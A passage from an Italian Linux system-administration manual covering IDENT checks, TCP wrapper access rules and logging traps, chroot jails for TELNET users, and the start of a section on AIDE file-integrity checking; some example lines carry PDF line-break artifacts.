Una volta riavviato il supervisore dei servizi di rete, si può interpellare tale «servizio» con un cliente TELNET da un nodo in cui è presente IDENT, per verificarne il funzionamento. Si osservi
l’esempio.
# telnet 192.168.1.1 9999 [ Invio ]
|Trying 192.168.1.1...
|Connected to 192.168.1.1.
|Escape character is ’^]’.
|Welcome to the IDENT server tester, version 1.9
|
|(Linked with libident-libident 0.21 Debian 4)
|
|Connecting to Ident server at 192.168.254.1...
|Querying for lport 2252, fport 9999....
|Reading response data...
|Userid response is:
| Lport........ 2252
| Fport........ 9999
| Opsys........ OTHER
| Charset...... <not specified>
| Identifier... root
|Connection closed by foreign host.
Appunti di informatica libera 2005.09.23 anteprima --- Copyright Ó 2000-2005 Daniele Giacomini -- hdaniele (ad) swlibero·org i, hdaniele·giacomini (ad) poste·it i ---
questa è un’edizione di prova dell’opera, contenente sezioni incomplete o scritte in modo frettoloso; si prega di segnalare i difetti riscontrati, di qualunque
genere essi siano, e si chiede gentilmente di non diffondere questa edizione, in attesa di quella standard
1 Netstd software libero con licenza speciale 2 Se la propria distribuzione GNU distingue un pacchetto specifico per il demone ‘identd’, questo potrebbe chiamarsi Pidentd. In altri casi, potrebbe far parte del pacchetto di base per la gestione dei servizi di rete.
298
Capitolo 226
TCP wrapper più in dettaglio
L’uso del TCP wrapper (il programma ‘tcpd’) è già stato descritto in modo sommario nel capitolo 167. In quella fase sono state trascurate le sue potenzialià di controllo, che possono estendersi fino all’utilizzo del protocollo IDENT.
La configurazione del TCP wrapper avviene esclusivamente attraverso i file ‘/etc/hosts.allow’ e ‘/etc/hosts.deny’, all’interno dei quali si possono utilizzare direttive più complesse di quelle già viste in precedenza. In ogni caso, è bene ribadire che lo scopo di questi file è quello di trovare una corrispondenza con l’utente e il nodo che tenta di accedere a uno dei servizi messi sotto il controllo del supervisore dei servizi di rete e di altri servizi che incorporano il TCP wrapper attraverso delle librerie. La verifica inizia dal file ‘/etc/hosts.allow’ e continua con ‘/etc/hosts.deny’, fermandosi alla prima corrispondenza corretta. Se la corrispondenza avviene con una direttiva del file ‘/etc/hosts.allow’, l’accesso è consentito; se la corrispondenza avviene con una direttiva di ‘/etc/hosts.deny’, l’accesso è impedito; se non avviene alcuna corrispondenza l’accesso è consentito.
226.1 Limiti e particolarità del TCP wrapper
In generale, le connessioni RPC non si riescono a controllare facilmente con il TCP wrapper.
In particolare, i servizi annotati come RPC-TCP nel file di configurazione del supervisore dei servizi di rete non sono gestibili attraverso il programma ‘tcpd’.
Alcuni demoni UDP e RPC rimangono attivi al termine del loro lavoro, in attesa di un’ulteriore richiesta eventuale. Questi servizi sono registrati nel file ‘/etc/inetd.conf’ con l’opzione ‘wait’ e così si possono riconoscere facilmente. Come si può intuire, solo la richiesta che li avvia può essere controllata da ‘tcpd’.
Alcuni dettagli di funzionamento di ‘tcpd’ sono definiti in fase di compilazione dei sorgenti. Si tratta in particolare dell’opzione di compilazione ‘-DPARANOID’, con la quale è come se fosse sempre attivo il jolly ‘PARANOID’ nei file ‘/etc/hosts.allow’ e ‘/etc/hosts.deny’. Di solito, i pacchetti già compilati del TCP wrapper sono stati ottenuti senza questa opzione, in modo da lasciare la libertà di configurarlo come si vuole.
Un altro elemento che può essere definito con la compilazione è il tipo di direttive che si possono accettare nei file ‘/etc/hosts.allow’ e ‘/etc/hosts.deny’. Le due sintassi possibili sono descritte in due documenti separati: hosts_access(5) e hosts_options(5).
226.2 Configurazione del TCP wrapper
In questa sezione viene mostrata in particolare la sintassi dei file ‘/etc/hosts.allow’ e ‘/etc/hosts.deny’, quando nella fase di compilazione di ‘tcpd’ non è stata abilitata l’estensione ‘PROCESS_OPTIONS’; in pratica quella più limitata. Negli esempi si mostrano anche le corrispondenze con il secondo tipo di formato, che può essere approfondito leggendohosts_options(5).
|
|elenco_di_demoni : elenco_di_clienti [ : comando_di_shell ]|
La sintassi mostrata, che si riferisce al tipo più semplice di formato delle direttive di questi file, potrebbe essere trasformata in quello più complesso nel modo seguente:
TCP wrapper più in dettaglio 299
|
|elenco_di_demoni : elenco_di_clienti [ : spawn comando_di_shell ]|
Quando non si sa quale sia il formato giusto per il proprio ‘tcpd’, basta provare prima quello più semplice. Se non va bene si vede subito la segnalazione di errore nel registro del sistema.
I primi due elementi, l’elenco di demoni e l’elenco di clienti, sono descritti in un altro capitolo (capitolo 167). Vale forse la pena di ricordare che questi «elenchi» sono semplicemente nomi o modelli separati da spazi orizzontali, cosa che spiega la necessità di separare i vari campi delle direttive attraverso i due punti verticali.
Ciò che appare a partire dal terzo campo di queste direttive (nel caso mostrato si tratta di un comando di shell, ma con la sintassi più complessa si parla piuttosto di opzioni), può contenere delle variabili, rappresentate da un simbolo di percentuale (‘%’) seguito da una lettera, che vengono espanse da ‘tcpd’ ogni volta che viene verificata la corrispondenza con quella direttiva determinata che le contiene (tabella 226.1).
Tabella 226.1. Elenco delle variabili utilizzabili in alcune parti delle direttive dei file di
controllo degli accessi.
Variabile Contenuto
|%a L’indirizzo del nodo cliente.
|%A L’indirizzo del nodo servente.
|%c L’informazione completa del nodo cliente per quanto disponibile.
|%d Il nome del processo del demone.
|%h Il nome del nodo cliente o l’indirizzo se il nome non è disponibile.
|%H Il nome del nodo servente o l’indirizzo se il nome non è disponibile.
|%n Il nome del nodo cliente o ‘unknown’ o ‘paranoid’.
|%N Il nome del nodo servente o ‘unknown’ o ‘paranoid’.
|%p Il numero del processo del demone.
|%s Informazione completa del nodo servente per quanto disponibile.
|%u Il nome dell’utente del nodo cliente o ‘unknown’.
|%% Un simbolo di percentuale singolo.
Una direttiva può contenere il simbolo di due punti (‘:’) all’interno di certi campi. In tal caso, per evitare che questi si confondano con la separazione dei campi, occorre precedere tale simbolo con la barra obliqua inversa: ‘\:’.
Una direttiva può essere interrotta e ripresa nella riga successiva se alla fine della riga appare una barra obliqua inversa, subito prima del codice di interruzione di riga.
300 volume IV Comunicare 2
Ogni volta che si modifica uno di questi file, è indispensabile verificare che nel registro di sistema non appaiano indicazioni di errori di sintassi. Un problema tipico che si incontra è dovuto al fatto che ogni direttiva deve terminare con un codice di interruzione di riga. Se alla fine di una direttiva terminasse anche il file, questo costituirebbe un errore che ne impedirebbe il riconoscimento.
226.2.1 Demoni e clienti specificati in modo più preciso
I primi due campi delle direttive di questi file, permettono di indicare con più precisione sia i demoni che i clienti che accedono.
Quando il servente ha diversi indirizzi IP con cui può essere raggiunto, è possibile indicare nel primo campo un demone in combinazione con un indirizzo particolare dal quale proviene la richiesta. In pratica, il primo campo diventa un elenco di elementi del tipo seguente:
|
|demone@modello_servente
|
Il demone può essere indicato per nome, oppure può essere messo al suo posto il jolly ‘ALL’ che li rappresenta tutti.
Il modello del servente serve a rappresentare questi indirizzi per nome o per numero. Valgono anche in questo caso le regole con cui si possono definire i nomi e gli indirizzi di clienti, anche per quanto riguarda le indicazioni parziali (un intero dominio o un gruppo di indirizzi).
Più interessante è invece la possibilità di ottenere dal TCP wrapper la verifica del nominativo utente del processo avviato dal cliente per la connessione. Si veda per questo, quanto già descritto in precedenza al riguardo del protocollo IDENT. Basta utilizzare nel secondo campo la sintassi seguente:
|
|modello_utente@modello_cliente
|
Utilizzando questa forma, ‘tcpd’, prima di concedere l’accesso al servizio, interpella il cliente attraverso il protocollo IDENT, per ottenere il nome dell’utente proprietario del processo che ha instaurato la connessione.
Se il cliente non risponde a questo protocollo, si crea una pausa di ritardo di circa 10 s.
Implicitamente si penalizzano tutti gli utenti che usano sistemi operativi diversi da Unix e derivati.
Una volta ottenuta la risposta, o quando scade il tempo, può essere fatto il confronto con la direttiva. In ogni caso, questo tipo di direttiva fa sì che venga aggiunta questa informazione nel registro del sistema.
Il modello dell’utente può essere un nome puro e semplice, oppure un jolly: ‘ALL’, ‘KNOWN’ e ‘UNKNOWN’. Il significato è intuitivo: tutti gli utenti; solo gli utenti conosciuti; solo gli utenti sconosciuti.
Il modello del cliente è quello già visto in precedenza: nomi interi; nomi parziali che iniziano con un punto; indirizzi IP interi; indirizzi IP parziali che terminano con un punto; jolly vari.
TCP wrapper più in dettaglio 301
È bene ribadire che l’informazione sull’utente restituita dal protocollo IDENT, non è affidabile.
Un sistema compromesso potrebbe essere stato modificato in modo da restituire informazioni false.
226.2.2 Comandi di shell
Il terzo campo delle direttive di questi file, permette di inserire un comando di shell. Quando un accesso trova corrispondenza con una direttiva contenente un comando di shell, questo comando viene eseguito; mentre l’accesso viene consentito se la corrispondenza avviene all’interno del file ‘/etc/hosts.allow’.
Il comando può contenere le variabili descritte nella tabella 226.1, che sono utili per dare un senso a questi comandi.
Il comando viene eseguito utilizzando l’interprete ‘/bin/sh’, connettendo standard input, standard output e standard error al dispositivo ‘/dev/null’. Generalmente, alla fine del comando
viene indicato il simbolo ‘&’, in modo da metterlo sullo sfondo, per evitare di dover attendere la sua conclusione.
Questi comandi non possono fare affidamento sulla variabile di ambiente ‘PATH’ per l’avvio degli eseguibili, per cui si usando generalmente percorsi assoluti, a meno che questa variabile sia
inizializzata esplicitamente all’interno del comando stesso.
226.2.3 Esempi e trappole
Seguono alcuni esempi che dovrebbero chiarire meglio l’uso delle direttive dei file ‘/etc/hosts.allow’ e ‘/etc/hosts.deny’.
In tutti gli esempi mostrati si suppone che il file ‘/etc/hosts.deny’ contenga solo la direttiva ‘ALL:ALL’, in modo da escludere ogni accesso che non sia stato previsto espressamente
nel file ‘/etc/hosts.allow’.
|# /etc/hosts.allow
|#
|ALL : ALL@ALL
Supponendo che questa sia l’unica direttiva del file ‘/etc/hosts.allow’, si intende che vengono
consentiti esplicitamente tutti gli accessi a tutti i servizi. Tuttavia, avendo utilizzato la forma ‘ALL@ALL’ nel secondo campo, si attiva il controllo dell’identità dell’utente del cliente, ottenendone l’annotazione del registro del sistema.
|# /etc/hosts.allow
|#
|ALL : KNOWN@ALL
La direttiva combacia solo con accessi in cui gli utenti siano identificabili.
|# /etc/hosts.allow
|...
|in.telnetd : ALL : ( /usr/sbin/safe_finger -l @%h Ã-
,!| /bin/mail -s ’%d-%u@%h’ root ) &
302 volume IV Comunicare 2
Si tratta di una trappola con cui l’amministratore vuole essere avvisato di ogni tentativo di utilizzo del servizio TELNET. Il comando avvia ‘safe_finger’ (una versione speciale di Finger che
accompagna il TCP wrapper) in modo da conoscere tutti i dati possibili sugli utenti connessi alla macchina cliente, inviando il risultato al comando ‘mail’ per spedirlo a ‘root’.
Molto probabilmente, l’amministratore che prepara questa trappola, potrebbe fare in modo che il demone ‘in.telnetd’ non sia disponibile, così che la connessione venga comunque rifiutata.
Se fosse stato necessario utilizzare l’altro tipo di formato per le direttive di questi file, l’esempio appena mostrato sarebbe il seguente: si aggiunge la parola chiave ‘spawn’ che identifica
l’opzione corrispondente.
|# /etc/hosts.allow
|...
|in.telnetd : ALL : spawn ( /usr/sbin/safe_finger -l @%h Ã-
,!| /bin/mail -s ’%d-%u@%h’ root ) &
L’esempio seguente mostra un tipo di trappola meno tempestivo, in cui ci si limita ad aggiungere un’annotazione particolare nel registro del sistema per facilitare le ricerche successive attraverso ‘grep’.
|in.telnetd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|in.rshd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|in.rlogind : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|in.rexecd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|ipop2d : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|ipop3d : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|imapd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|in.fingerd : ALL@ALL : ( /usr/bin/logger TRAPPOLA\: %d %c ) &
Se necessario occorre aggiungere la parola chiave ‘spawn’:
|in.telnetd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|in.rshd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|in.rlogind : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|in.rexecd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|ipop2d : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|ipop3d : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|imapd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
|in.fingerd : ALL@ALL : spawn ( /usr/bin/logger TRAPPOLA\: %d %c ) &
Trattandosi di servizi che non si vogliono offrire (altrimenti non ci sarebbe ragione di registrare tanto bene gli accessi), anche in questo caso è opportuno che i demoni corrispondenti non ci siano, oppure che i rispettivi eseguibili siano sostituiti da una copia dello stesso programma ‘tcpd’.
Si osservi in particolare che all’interno del comando appare il simbolo di due punti protetto da una barra obliqua. Se non si facesse così, potrebbe essere interpretato come l’inizio di un nuovo campo.
TCP wrapper più in dettaglio 303
226.2.4 Comandi e servizi UDP
I servizi UDP non si prestano tanto per la creazione di trappole, a causa del fatto che non si instaura una connessione come nel caso del protocollo TCP. Il caso più importante di questo problema è rappresentato dal servizio TFTP, che di solito, nel caso il supervisore dei servizi di rete sia Inetd, viene indicato nel file ‘/etc/inetd.conf’ nel modo seguente:
|tftp dgram udp wait root /usr/sbin/tcpd in.tftpd
Se si creasse una direttiva come quella seguente,
|# /etc/hosts.allow
|...
|in.tftpd : ALL : ( /usr/sbin/safe_finger -l @%h Ã-
,!| /bin/mail -s ’%d-%u@%h’ root ) &
si rischierebbe di avviare il comando di shell un gran numero di volte. Si può limitare questo problema modificando la riga contenuta nel file ‘/etc/inetd.conf’ nel modo seguente:
|tftp dgram udp wait.2 root /usr/sbin/tcpd in.tftpd
In tal modo, si accetterebbero un massimo di due tentativi al minuto.
In generale, dovendo realizzare delle trappole per servizi UDP, conviene eliminare del tutto il demone dal file system.
226.3 Verifica della configurazione
Il programma ‘tcpdchk’ 1 permette di controllare la configurazione del TCP wrapper, indicando problemi possibili ed eventualmente anche dei suggerimenti per la loro sistemazione.
|
|tcpdchk [opzioni]|
Il programma ‘tcpdchk’ analizza i file ‘/etc/inetd.conf’, ‘/etc/hosts.allow’ e ‘/etc/hosts.deny’. Tra i vari tipi di verifiche che vengono eseguite, ci sono anche i nomi utilizzati
per i nodi e i domini NIS. In tal senso, per avere un controllo più preciso, è opportuno utilizzare ‘tcpdchk’ anche quando il sistema viene collegato in rete, avendo accesso alla configurazione reale del DNS e del NIS.
Opzione Descrizione
|-d
Esamina i file ‘./hosts.allow’ e ‘./hosts.deny’, cioè
quelli che si trovano nella directory corrente.
|-i file_inetd Specifica il file da utilizzare al posto di ‘/etc/inetd.conf’.
304 volume IV Comunicare 2
226.4 Verifica delle corrispondenze
Il programma ‘tcpdmatch’ 2 permette di verificare il comportamento della configurazione simulando delle richieste. In pratica, verifica il contenuto di ‘/etc/inetd.conf’, ‘/etc/hosts.allow’ e ‘/etc/hosts.deny’, mostrando quello che succederebbe con una richiesta di connessione determinata.
|
|tcpdmatch [opzioni] demone[@servente] [utente@]cliente
|
È obbligatoria l’indicazione di un demone, con l’eventuale aggiunta dell’indicazione del servente quando si possono distinguere per questo degli indirizzi diversi; inoltre è obbligatoria l’indicazione del cliente, con l’eventuale aggiunta dell’utente.
Nell’indicazione del servente si possono usare anche i jolly ‘UNKNOWN’ e ‘PARANOID’; il valore predefinito, se questa indicazione manca, è ‘UNKNOWN’.
L’utente può essere indicato per nome o per numero UID; anche in questo caso si ammette il jolly ‘UNKNOWN’, che è il valore predefinito in mancanza di questa indicazione.
Opzione Descrizione
|-d
Esamina i file ‘./hosts.allow’ e ‘./hosts.deny’, cioè
quelli che si trovano nella directory corrente.
|-i file_inetd Specifica il file da utilizzare al posto di ‘/etc/inetd.conf’.
Segue la descrizione di alcuni esempi.
• # tcpdmatch in.telnetd localhost [ Invio ]
Verifica il comportamento della configurazione per una richiesta di accesso al servizio
TELNET, corrispondente al demone ‘in.telnetd’, da parte del nodo localhost.
• # tcpdmatch in.telnetd tizio@roggen.brot.dg [ Invio ]
Verifica il comportamento della configurazione per una richiesta di accesso al servizio
TELNET, corrispondente al demone ‘in.telnetd’, da parte dell’utente ‘tizio’ dal nodo
roggen.brot.dg.
• # tcpdmatch in.telnetd@dinkel.brot.dg tizio@roggen.brot.dg [ Invio ]
Verifica il comportamento della configurazione per una richiesta di accesso al servizio TELNET,
corrispondente al demone ‘in.telnetd’, proveniente dall’interfaccia corrispondente
al nome dinkel.brot.dg, da parte dell’utente ‘tizio’ dal nodo roggen.brot.dg.
226.5 Un Finger speciale
Il programma ‘safe_finger’ 3 è un cliente Finger che, da quanto indicato nella documentazione originale, dovrebbe essere più adatto per la creazione di trappole attraverso i comandi di shell.
Le sue funzionalità sono le stesse del comando ‘finger’ normale e non viene indicato altro nella documentazione originale.
TCP wrapper più in dettaglio 305
226.6 Verifica della propria identificazione
Il programma ‘try-from’ 4 permette di verificare il funzionamento del sistema di identificazione del servente e del cliente. Si utilizza nel modo seguente:
|
|rsh nodo /usr/sbin/try-from
|
Di solito, questo programma si utilizza per verificare il proprio sistema. Per fare un esempio, si immagina di essere l’utente ‘caio’ che dal nodo dinkel.brot.dg si connette al suo stesso elaboratore per avviare ‘try-from’.
$ rsh dinkel.brot.dg /usr/sbin/try-from [ Invio ]
|client address (%a): 192.168.1.1
|client hostname (%n): dinkel.brot.dg
|client username (%u): caio
|client info (%c): caio@dinkel.brot.dg
|server address (%A): 192.168.1.1
|server hostname (%N): dinkel.brot.dg
|server process (%d): try-from
|server info (%s): try-from@dinkel.brot.dg
Dal risultato che si ottiene, si può determinare che anche il servizio IDENT dell’elaboratore
dinkel.brot.dg (visto come cliente) funziona correttamente.
Appunti di informatica libera 2005.09.23 anteprima --- Copyright Ó 2000-2005 Daniele Giacomini -- hdaniele (ad) swlibero·org i, hdaniele·giacomini (ad) poste·it i ---
questa è un’edizione di prova dell’opera, contenente sezioni incomplete o scritte in modo frettoloso; si prega di segnalare i difetti riscontrati, di qualunque
genere essi siano, e si chiede gentilmente di non diffondere questa edizione, in attesa di quella standard
1 TCP wrapper software libero con licenza speciale
2 TCP wrapper software libero con licenza speciale
3 TCP wrapper software libero con licenza speciale
4 TCP wrapper software libero con licenza speciale
306
Capitolo 227
Cambiare directory radice
I sistemi Unix, offrono generalmente una funzione che permette di fare funzionare un processo in un file system ridotto, in cui una certa directory diventa temporaneamente la sua nuova directory radice. Si tratta della funzione ‘chroot()’, che nel caso di sistemi GNU/Linux, può essere utilizzata solo da un processo con i privilegi dell’utente ‘root’.
Le distribuzioni GNU/Linux mettono normalmente a disposizione il programma ‘chroot’ 1 che permette di utilizzare in pratica questa funzione. In alternativa, ne esiste un’altra versione perfettamente
funzionante con GNU/Linux (anche se non si trova nelle distribuzioni), che offre il vantaggio di fondere le funzionalità di ‘chroot’ e di ‘su’; si tratta di ‘chrootuid’ di Wietse Venema.
227.1 Principio di funzionamento
I programmi di servizio che si occupano di ridefinire la directory radice temporaneamente, per circoscrivere l’ambiente di un processo determinato (e dei suoi discendenti), richiedono l’indicazione della directory che deve diventare la nuova directory radice e del programma da avviare al suo interno.
Il processo da avviare in questo ambiente deve trovare lì tutto quello che gli può servire, per esempio le librerie, o altri programmi se il suo scopo è quello di avviare altri sottoprocessi.
È la stessa situazione che si verifica quando si predispone la directory ‘~ftp/’ per l’accesso al servizio FTP anonimo. A titolo di esercizio, può essere preparata una directory del genere riproducendo ‘/bin/’, ‘/sbin/’, ‘/lib/’ e ‘/etc/’.
# mkdir /tmp/nuova_root [ Invio ]
# cp -dpR /bin /sbin /lib /etc /tmp/nuova_root [ Invio ]
Con quanto preparato in questo modo, si può avviare una shell circoscritta all’ambito della directory ‘/tmp/nuova_root/’, che viene fatta diventare appunto la nuova directory radice.
# chroot /tmp/nuova_root /bin/bash [ Invio ]
Con questo comando, si fa in modo che venga utilizzata la funzione ‘chroot()’ perché ‘/tmp/nuova_root/’ diventi la directory radice per il processo avviato con ‘/bin/bash’. È importante
comprendere che ‘/bin/bash’ va inteso qui come parte del sotto-file system e si tratta in generale di ‘/tmp/nuova_root/bin/bash’.
Per concludere l’esempio, una volta verificato che si sta lavorando effettivamente in un ambiente ristretto, basta fare terminare il processo per cui è stata cambiata la directory radice, cioè ‘bash’.
# exit [ Invio ]
227.2 Possibilità di questo meccanismo
La definizione di un sotto-file system, permette di isolare il funzionamento di un programma che potrebbe costituire un pericolo di qualche tipo. Per esempio un servizio di rete che si teme possa
consentire un qualche accesso non autorizzato.
Si potrebbe immaginare la possibilità di creare delle utenze in cui gli utenti non possano girovagare nel file system, limitandoli all’ambito di un sotto-file system appunto. Tuttavia, dal moCambiare
directory radice 307
mento che un sistema GNU/Linux non permette l’utilizzo della funzione ‘chroot()’ agli utenti comuni, di fatto non è possibile, almeno con i mezzi normali.
227.2.1 Utilizzo di «chroot»
‘chroot’ 2 permette all’utente ‘root’ di eseguire un comando utilizzando una directory particolare come una nuova directory radice. Il comando, deve essere indicato tenendo conto della situazione che ci si trova di fronte dopo che il cambiamento della directory radice è avvenuto.
|
|chroot directory [comando]|
Se non viene indicato alcun comando, viene eseguito ‘/bin/sh’, nel sotto-file system a cui ci si riferisce.
Al termine del funzionamento del processo avviato con il comando, si ritorna allo stato precedente, con il file system nelle condizioni in cui si trovava prima.
227.2.2 Utilizzo di «chrootuid»
‘chrootuid’ 3 è un programma simile a ‘chroot’, in cui però è possibile indicare l’utente proprietario del processo che viene avviato nella nuova directory radice.
|
|chrootuid directory utente comando
|
‘chrootuid’ non fa parte delle distribuzioni GNU/Linux standard, ma può essere ottenuto facilmente dalla sua origine, presso l’università di Eindhoven in Olanda, hftp://ftp.porcupine.org/pub/
security/chrootuid1.3.tar.gz i.
227.3 Un esempio pratico: TELNET
In questa sezione si vuole mostrare in che modo potrebbero essere create delle utenze per l’accesso remoto attraverso TELNET, in modo da escludere che gli utenti possano accedere a parti
vitali del sistema. L’esempio viene indicato solo in linea di massima, trascurando dettagli che devono poi essere definiti da chi volesse utilizzare tale sistema realmente e in modo serio.
Per semplificare le cose, si può creare una copia del sistema in funzione, a partire da una sottodirectory (ammesso che ci sia abbastanza spazio disponibile nel disco fisso). Si suppone di farlo
nella directory ‘/sicura/’.
# mkdir /sicura [ Invio ]
# cp -dpR /bin /dev /etc /home /lib /opt /root /sbin /usr /var /sicura
[ Invio ]
# mkdir /sicura/tmp [ Invio ]
# chmod 1777 /sicura/tmp [ Invio ]
# mkdir /sicura/proc [ Invio ]
308 volume IV Comunicare 2
# chmod 0555 /sicura/proc [ Invio ]
Quindi si «entra» in questo sistema e si fa un po’ di pulizia, eliminando in particolare tutto quello che nella directory ‘etc/’ non serve. Infatti, si deve considerare che in questo piccolo ambiente
non esiste una procedura di inizializzazione del sistema, non esiste l’avvio di programmi demone e non si configura la rete. L’unica attenzione deve essere data alla configurazione delle shell che si vogliono poter utilizzare.
# chroot /sicura [ Invio ]
...
# exit [ Invio ]
Il sistema circoscritto appena creato, può avere delle difficoltà a funzionare in un sistema GNU/Linux, a causa della mancanza del contenuto della directory ‘proc/’ che dovrebbe essere
innestato anche lì. Questo innesto può essere definito convenientemente una volta per tutte nel file ‘/etc/fstab’ del file system normale, avendo così due punti di innesto diversi e simultanei.
|# /etc/fstab
|...
|none /proc proc defaults 0 0
|none /sicura/proc proc defaults 0 0
|...
Si potrebbe valutare la possibilità di non lasciare l’accessibilità alle informazioni di questa directory. Si può provare a vedere se le attività che si vogliono concedere agli utenti sono compromesse dalla sua mancanza. Se il disagio è tollerabile, è meglio evitare di innestare la
directory ‘/proc/’ quando tutto è pronto.
Una volta sistemato questo particolare, tutto funziona meglio nel sistema che si articola dalla directory ‘/sicura/’. Per fare in modo che il servizio TELNET utilizzi questo spazio riservato,
si deve modificare il file di configurazione del supervisore dei servizi di rete del file system normale; per esempio, nel caso di Inetd, il file ‘/etc/inetd.conf’ va modificato in un modo
simile a quello seguente:
|telnet stream tcp nowait root /usr/sbin/tcpd /sicura/telnetd
Come si vede, per l’avvio del servizio è stato indicato l’eseguibile ‘/sicura/telnetd’, che in pratica è uno script di shell che contiene la chiamata del comando ‘chroot’, prima dell’avvio del vero demone ‘in.telnetd’.
|#! /bin/sh
|chroot /sicura /usr/sbin/in.telnetd
In questo caso, quanto indicato come ‘/usr/sbin/in.telnetd’, è in realtà ‘/sicura/usr/sbin/in.telnetd’.
Una volta definito questo, dopo aver innestato anche la directory ‘/sicura/proc/’ e dopo aver riavviato il supervisore dei servizi di rete, si può accedere con un cliente TELNET nel proprio sistema locare come utente ‘root’, per sistemare le cose (per farlo, temporaneamente, occorre che il file ‘/sicura/etc/securetty’ preveda anche i dispositivi ‘/dev/ttyp*’, oppure quelli
che sono utilizzati effettivamente per l’accesso attraverso TELNET).
Cambiare directory radice 309
Una volta sistemate le cose come si desidera, si deve avere cura di impedire l’accesso remoto da parte dell’utente ‘root’, tenendo conto che al limite questo utente potrebbe anche essere
cancellato all’interno di ‘/sicura/etc/passwd’
# telnet localhost [ Invio ]
...
Una volta entrati nel mini sistema, dopo essersi accertati che funziona (basta creare un file e su un’altra console virtuale vedere che si trova collocato a partire dalla directory ‘/sicura/’), si
comincia a disinstallare tutto quello che non serve e che non si vuole lasciare usare agli utenti.
Probabilmente, tutto quello che riguarda la configurazione della rete dovrebbe essere eliminato, mentre qualche cliente particolare potrebbe essere lasciato a disposizione degli utenti.
Anche la directory ‘dev/’ dovrebbe essere controllata, lasciando al suo interno solo i dispositivi indispensabili. Di certo non servono i dispositivi che permettono l’accesso a unità di memorizzazione: gli utenti remoti non devono avere la possibilità di innestare o staccare dischi.
Gli stessi file ‘etc/passwd’ e ‘etc/group’ (ed eventualmente ‘etc/shadow’) possono essere modificati per eliminare tutti gli utenti di sistema, compreso ‘root’ che potrebbe essere aggiunto
nel momento in cui si volesse fare qualche intervento dall’interno). In pratica, si tratterebbe di lasciare solo gli utenti del servizio TELNET.
227.4 Altri programmi affini
• fakeroot(1), faked(1) 4
• fakechroot(1) 5
Appunti di informatica libera 2005.09.23 anteprima --- Copyright Ó 2000-2005 Daniele Giacomini -- hdaniele (ad) swlibero·org i, hdaniele·giacomini (ad) poste·it i ---
questa è un’edizione di prova dell’opera, contenente sezioni incomplete o scritte in modo frettoloso; si prega di segnalare i difetti riscontrati, di qualunque
genere essi siano, e si chiede gentilmente di non diffondere questa edizione, in attesa di quella standard
1 GNU core utilities GNU GPL
2 GNU core utilities GNU GPL
3 chrootuid software libero con licenza speciale
4 Fakeroot GNU GPL
5 fakechroot GNU GPL
310
Verifica dell’integrità dei file
Attraverso l’accumulo di codici di controllo è possibile verificare l’integrità di file e di directory, contro l’uso improprio del sistema, comprendendo eventualmente l’azione di un virus.
228.1 AIDE
AIDE 1 è un programma per la verifica dell’integrità dei file attraverso il confronto con le informazioni accumulate precedentemente, segnalando le aggiunte, le rimozioni e le alterazioni di file e directory. Si tratta di uno strumento prezioso per scoprire gli utilizzi impropri del sistema comprendendo l’azione di cavalli di Troia e virus.
Il funzionamento di AIDE è controllato da un file di configurazione, che generalmente è bene non lasciare nel file system per motivi di sicurezza, inserendolo solo nel momento del bisogno.
Tale file di configurazione viene identificato qui con il nome ‘aide.conf’, senza stabilire una collocazione ben precisa.
Nello stesso modo, anche il file contenente le informazioni accumulate riguardo allo stato del file system va protetto, preferibilmente togliendolo dal file system stesso, in modo da garantire che non possa essere letto e alterato.
AIDE può utilizzare diversi algoritmi crittografici per generare i codici di controllo necessari per le sue verifiche. Per questa ragione, a causa delle norme che impediscono l’esportazione di algoritmi del genere, è improbabile che possa trovarsi all’interno delle distribuzioni di origine
USA.
228.1.1 Configurazione di AIDE: «aide.conf»
La configurazione di AIDE è simile a quella di Tripwire, con l’aggiunta di direttive nuove. In generale, a parte i commenti che si indicano preceduti dal simbolo ‘#’ e le righe che non contengono
direttive, si distinguono tre gruppi:
• direttive di configurazione, con le quali si stabiliscono delle modalità di funzionamento generali;
• direttive di selezione, con le quali si stabiliscono quali file e directory tenere sotto controllo;
• macroistruzioni.
In generale, sono indispensabili solo le direttive di selezione che assomigliano molto alle direttive corrispondenti di Tripwire. Le macroistruzioni servono per scandire il file di configurazione in
modo differente in base a condizioni determinate, come fa un preprocessore di un linguaggio di programmazione. Anche questa funzionalità è analoga a qualla di Tripwire e qui non viene
descritta; eventualmente si può consultare la pagina di manuale aide.conf (5).
Le direttive di configurazione hanno la forma seguente:
|
|nome=valore
|
In particolare, quando il valore assegnato si riferisce a un file, viene usata una forma descritta nella tabella 228.1. La descrizione delle direttive di configurazione appare invece nella tabella 228.2.
Tabella 228.1. Modalità di indicazione dei file nelle direttive di configurazione.
Verifica dell’integrità dei file 311
Forma Descrizione
stdout Dati emessi attraverso lo standard output.
stderr Dati emessi attraverso lo standard error.
stdin Dati letti dallo standard input.
file://file Si fa riferimento al file indicato.
fd:n Si fa riferimento al descrittore di file n.
Tabella 228.2. Direttive di configurazione principali.
Nome Predefinito Descrizione database file://./aide.db File delle informazioni accumulate in precedenza.
database_out file://./aide.db.new File delle informazioni da accumulare.
report_url stdout File usato per emettere le informazioni sull’elaborazione.
Una direttiva di configurazione che fa riferimento a un nome non conosciuto, serve a definire un gruppo. Ciò può essere utile successivamente nelle direttive di selezione, dove si può fare
riferimento a questi gruppi senza dover ripetere sempre la stessa espressione di selezione. Questo viene mostrato meglio successivamente.
Le direttive di selezione hanno il formato seguente:
|
|{/|!|=}voce espressione
|
Il primo carattere definisce il modo in cui va interpretata la direttiva:
|/ include un file, o una directory e tutto il suo contenuto, per la scansione e la verifica;
|! escludere completamente un file, o una directory e tutto il suo contenuto, dalla scansione e dalla verifica;
